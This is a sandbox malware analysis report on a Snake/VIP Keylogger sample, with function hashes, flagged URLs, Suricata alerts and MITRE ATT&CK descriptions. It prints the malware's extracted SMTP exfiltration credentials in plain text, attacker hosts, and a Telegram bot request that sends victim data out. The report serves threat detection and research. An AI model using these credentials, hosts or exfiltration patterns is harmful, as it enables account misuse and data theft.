Instruction Fuzzy Hash: 2ED0A93320C8A02AEB22100D6C00AA3AF8CC7C23B1F1401E6F99D9B201D9468C8082E2

Function 02BEAFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2903070684.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2be0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35fb25a709c76c5024f900063454e9d6fe12f23b285112f419f05e6ca90fde18
Instruction ID: 07936a36e2a9730f221fbf66e98c67361ec0933a1c9b867efb46110de59bde3b
Opcode Fuzzy Hash: 35fb25a709c76c5024f900063454e9d6fe12f23b285112f419f05e6ca90fde18
Instruction Fuzzy Hash: F1D0173AB40008DFCB00CF88E8808DDF7B6FB98220B048116E911A3224C6319821CB50

Function 02BE6743 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2903070684.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2be0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f83161c870e74b03fb7811504419d5f2b3df5b25c4ae9642c9ccf93be79728f1
Instruction ID: 3099b665774ec82f8dca898f9ccddbac196473dc40ab7a0ef84e364ece20182e
Opcode Fuzzy Hash: f83161c870e74b03fb7811504419d5f2b3df5b25c4ae9642c9ccf93be79728f1
Instruction Fuzzy Hash: ACD0A7310783874ED702FB74EE506557B67EF81314F084660A0040975FDF74888C4780

Function 02BE6748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2903070684.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2be0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09c607c89fb4f522bd769b5f5b51c19a73da146505d78ad4e2f7c013d13d3630
Instruction ID: ce59cc669ef3771cf3ad990c8bad1d4088c1b6c527ef209cc02f4aad35d4b218
Opcode Fuzzy Hash: 09c607c89fb4f522bd769b5f5b51c19a73da146505d78ad4e2f7c013d13d3630
Instruction Fuzzy Hash: AFC012324B430B4EC501F765EE44555776BEA802147548620A0050575EEF74988D4690

Non-executed Functions

Function 02BEFA88 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2903070684.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2be0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: face3b690a51037a95455737d424a47aadd214c56b37b71326a9fbc9d2d17f74
Instruction ID: 1348e0f05ca298a7ee6ee49ff8c0dc1667f083889530949dddc8bb279f9f7a99
Opcode Fuzzy Hash: face3b690a51037a95455737d424a47aadd214c56b37b71326a9fbc9d2d17f74
Instruction Fuzzy Hash: 22C1A074E00218CFDB54DFA5C984BADBBB2BF89300F1085A9D409AB359DB359E85CF50

Function 02BEF630 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2903070684.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2be0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bcadcda6e88f2e1a0871c8228cb2ef0efc18474e33a9dd0cbb03e2296d54c45
Instruction ID: b40eac47bcbaed6bf1121fd8e34781f3d8a4d630022031acef73dae26957fe07
Opcode Fuzzy Hash: 4bcadcda6e88f2e1a0871c8228cb2ef0efc18474e33a9dd0cbb03e2296d54c45
Instruction Fuzzy Hash: 1FC1A174E00219CFDB54DFA5C954B9DBBB2BF89300F1081A9D409AB369DB359E85CF50

Function 02BE2A69 Relevance: 5.1, Strings: 4, Instructions: 95COMMON

Download Yara Rule

Strings

Xmq, xrefs: 02BE2A9E
Xmq, xrefs: 02BE2B57
Xmq, xrefs: 02BE2BA4
Xmq, xrefs: 02BE2AD8

Memory Dump Source

Source File: 00000005.00000002.2903070684.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2be0000_InstallUtil.jbxd

Similarity

API ID:
String ID: Xmq$Xmq$Xmq$Xmq
API String ID: 0-34675210
Opcode ID: d3b3fea6d4157900adf18d27bc7079a34341e0ca1f52fb52b577d9ca7985abc0
Instruction ID: 77e63d9b91045cc8698e6f78f79b0410b24d915581bfe973d764d72a88c7aa96
Opcode Fuzzy Hash: d3b3fea6d4157900adf18d27bc7079a34341e0ca1f52fb52b577d9ca7985abc0
Instruction Fuzzy Hash: A6315071E042198BEF64DF798A9037FB7AAEB44300F1444F5C856A7294DB74C981CB92

Function 02BE6920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;iq, xrefs: 02BE6952
\;iq, xrefs: 02BE695E
\;iq, xrefs: 02BE6936
\;iq, xrefs: 02BE692C

Memory Dump Source

Source File: 00000005.00000002.2903070684.0000000002BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2be0000_InstallUtil.jbxd

Similarity

API ID:
String ID: \;iq$\;iq$\;iq$\;iq
API String ID: 0-922405638
Opcode ID: 7ba634738260500084f87f5d622b102f20ae3b6fb9e2b8dfd5d0b289856dc139
Instruction ID: df0081390d01d5dd18a04dfc4260c5f616aaf7b163242c900c071c6fa65b1b52
Opcode Fuzzy Hash: 7ba634738260500084f87f5d622b102f20ae3b6fb9e2b8dfd5d0b289856dc139
Instruction Fuzzy Hash: 5A011A397401158F8B288E2DC544A2A77EAEBBC66472541AAE606CB3B8DB21EC418755

Source: http://varders.kozow.com:8081	Avira URL Cloud: Label: malware
Source: http://anotherarmy.dns.army:8081	Avira URL Cloud: Label: phishing
Source: http://aborters.duckdns.org:8081	Avira URL Cloud: Label: phishing

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:724536%0D%0ADate%20and%20Time:%2009/01/2025%20/%2000:36:30%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20724536%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49841 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49821 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49869 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49836 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49892 -> 188.114.97.3:443

Source: 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "sammys@gtpv.online", "Password": "7213575aceACE@@", "Host": "mail.gtpv.online", "Port": "587", "Version": "4.4"}
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "sammys@gtpv.online", "Password": "7213575aceACE@@", "Host": "mail.gtpv.online", "Port": "587"}

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 02BEF8E9h		5_2_02BEF630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 02BEFD41h		5_2_02BEFA88

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report pbCN4g6sN5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\pbCN4g6sN5.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
pbCN4g6sN5.exe

Function 05A1DBE8 Relevance: 11.0, Strings: 8, Instructions: 967
COMMON

Function 00A17BD0 Relevance: 6.7, Strings: 5, Instructions: 469
COMMON

Function 07643433 Relevance: 5.5, Instructions: 5534
COMMON

Function 07643448 Relevance: 5.5, Instructions: 5524
COMMON

Function 06D02100 Relevance: 5.2, Instructions: 5246
COMMON

Function 08EAB6F8 Relevance: 5.2, Strings: 4, Instructions: 190
COMMON

Function 0587AA0A Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Function 0587AA18 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre